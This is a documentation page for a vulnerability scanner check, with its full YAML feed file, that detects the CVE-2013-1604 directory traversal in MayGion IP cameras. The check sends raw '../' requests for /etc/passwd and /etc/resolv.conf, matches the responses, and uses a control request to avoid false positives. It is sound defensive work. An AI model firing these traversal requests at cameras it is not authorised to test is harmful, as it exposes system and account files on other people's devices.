MayGion — 1 vulnerability check

noctis ships 1 vulnerability check for MayGion, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

MayGion IP camera directory traversal

CVECVE-2013-1604
Severitymedium · CVSS 5.0
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/maygion/CVE-2013-1604.yaml

Tests MayGion IP cameras with firmware before 2013.04.22 (05.53) for the unauthenticated directory traversal in the default URI. The feed sends a raw HTTP request for /../../../../../../../../../etc/resolv.conf (and /etc/passwd when that file is absent) so the "../" sequences reach the camera unchanged, and reports the camera when it answers 200 with the nameserver lines or the root account entry. A control request for the same file name under an absent random directory must not return the file, so a server that answers every request with the same content is not reported. Nothing is written on the target and the root password hash is not stored in the finding.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /../../../../../../../../../etc/resolv.conf HTTP/1.1
  2. Checks resolv_r.banner for (?s)^HTTP/1\.[01] 200\b.*?(?m)^nameserver[ \t]+[0-9a-fA-F:.]+
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /../../../../../../../../../etc/passwd HTTP/1.1
  4. Checks passwd_r.banner for (?s)^HTTP/1\.[01] 200\b.*?(?m)(?:^|>)root:[^:\r\n]*:0:[01]:
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET /../../../../../../../../../noctis-absent-{{oob_token}}/{{hit_file}} HTTP/1.1
  6. Checks ctrl_r.banner for (?s)(?m)(^nameserver[ \t]+[0-9a-fA-F:.]+|(?:^|>)root:[^:\r\n]*:0:[01]…
  7. Checks ctrl_r.banner for ^HTTP/1\.[01] [0-9]{3}
  8. Checks hit_file for ^etc/(resolv\.conf|passwd)$ → finding QoD 75: MayGion IP camera directory traversal (CVE-2013-1604)

References:

Feed source — tests/vulnerabilities/maygion/CVE-2013-1604.yaml
# MayGion IP cameras directory traversal in the default URI — CVE-2013-1604
#
# The embedded web server of MayGion IP cameras (firmware before 2013.04.22
# (05.53)) resolves "../" in the request URI against the file system, so a
# request for /../../../../../../../../../etc/resolv.conf returns the file,
# served as application/octet-stream.
#
# Detection (benign, read-only): a raw HTTP/1.1 request with the traversal URI,
# sent with tcp_connect so the "../" sequences reach the camera unchanged. The
# reply must be a 200 carrying the "nameserver" lines of /etc/resolv.conf, or
# the root entry of /etc/passwd when the camera has no resolv.conf. QoD 75
# (response analysis).
#
# Improvements over the source NASL:
#   - the NASL needs the product's detection VT to have run first and only reads
#     resolv.conf; the feed probes directly and also tries /etc/passwd.
#   - a control request (same traversal, an absent random directory, same file
#     name) must come back WITHOUT the file content, so a server answering every
#     request with that file (tarpit/honeypot) is not reported (fail-closed: no
#     control reply, no finding).
#   - CVE-2013-1605 (buffer overflow on a long file name) is not probed: sending
#     an overlong name would crash the camera, so only the traversal is proven.
#
# CVSS: CVE-2013-1604 has an NVD v2 score of 5.0 only (no v3).
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_maygion_ipcamera_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.803774, GPL-2.0-only).
uid: 24a6d199-3b1a-4486-98c3-54967652bfe6
name: "MayGion IP camera directory traversal (CVE-2013-1604)"
description: |
  Tests MayGion IP cameras with firmware before 2013.04.22 (05.53) for the
  unauthenticated directory traversal in the default URI. The feed sends a raw
  HTTP request for /../../../../../../../../../etc/resolv.conf (and
  /etc/passwd when that file is absent) so the "../" sequences reach the camera
  unchanged, and reports the camera when it answers 200 with the nameserver
  lines or the root account entry. A control request for the same file name
  under an absent random directory must not return the file, so a server that
  answers every request with the same content is not reported. Nothing is
  written on the target and the root password hash is not stored in the finding.
cves: [CVE-2013-1604]
cvss: 5.0
severity: medium
category: file-read
confidence_base: 0.30
tags: [maygion, ip-camera, iot, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-1604"
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-1605"
  # OpenVAS/Greenbone NASL 2013/gb_maygion_ipcamera_mult_vuln.nasl (GPL-2.0-only)

steps:
  - id: init-hit-file
    action: set_var
    var_name: hit_file
    var_value: ""

  - id: init-hit-text
    action: set_var
    var_name: hit_text
    var_value: ""

  - id: init-resolv-r
    action: set_var
    var_name: resolv_r
    var_value: {connected: false, banner: ""}

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {connected: false, banner: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {connected: false, banner: ""}

  - id: init-ctrl-replied
    action: set_var
    var_name: ctrl_replied
    var_value: false

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # tcp_connect keeps the "../" sequences: an HTTP client would resolve them.
  - id: read-resolv
    action: tcp_connect
    port: "{{port}}"
    send: "GET /../../../../../../../../../etc/resolv.conf HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: resolv_r

  - id: resolv-content
    action: match
    source: resolv_r.banner
    pattern: "(?s)^HTTP/1\\.[01] 200\\b.*?(?m)^nameserver[ \\t]+[0-9a-fA-F:.]+"
    on_match:
      set_vars:
        hit_file: "etc/resolv.conf"
        hit_text: "the nameserver lines of /etc/resolv.conf"

  - id: read-passwd
    action: tcp_connect
    port: "{{port}}"
    send: "GET /../../../../../../../../../etc/passwd HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    condition: 'hit_file == ""'
    store_as: passwd_r

  - id: passwd-content
    action: match
    source: passwd_r.banner
    pattern: "(?s)^HTTP/1\\.[01] 200\\b.*?(?m)(?:^|>)root:[^:\\r\\n]*:0:[01]:"
    condition: 'hit_file == ""'
    on_match:
      set_vars:
        hit_file: "etc/passwd"
        hit_text: "the root entry of /etc/passwd"

  # Control: same traversal and file name under an absent random directory.
  - id: control
    action: tcp_connect
    port: "{{port}}"
    send: "GET /../../../../../../../../../noctis-absent-{{oob_token}}/{{hit_file}} HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    condition: 'hit_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.banner
    pattern: "(?s)(?m)(^nameserver[ \\t]+[0-9a-fA-F:.]+|(?:^|>)root:[^:\\r\\n]*:0:[01]:)"
    condition: 'hit_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  - id: control-reply
    action: match
    source: ctrl_r.banner
    pattern: "^HTTP/1\\.[01] [0-9]{3}"
    condition: 'hit_file != ""'
    on_match:
      set_vars:
        ctrl_replied: true

  - id: report
    action: match
    source: hit_file
    pattern: "^etc/(resolv\\.conf|passwd)$"
    condition: "ctrl_replied && ctrl_hit == false"
    on_match:
      finding:
        title: "MayGion IP camera directory traversal (CVE-2013-1604)"
        description: "A raw HTTP request with a ../ sequence in the URI made the camera's web server return a system file to an unauthenticated client, while the same request for an absent file did not. Any file readable by the web server, including configuration with account credentials, can be read the same way."
        remediation: "Update the camera firmware to 2013.04.22 (05.53) or later, and do not expose the camera's web interface to untrusted networks."
        confidence_delta: 0.50
        qod: 75
        evidence: "GET /../../../../../../../../../{{hit_file}} returned {{hit_text}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub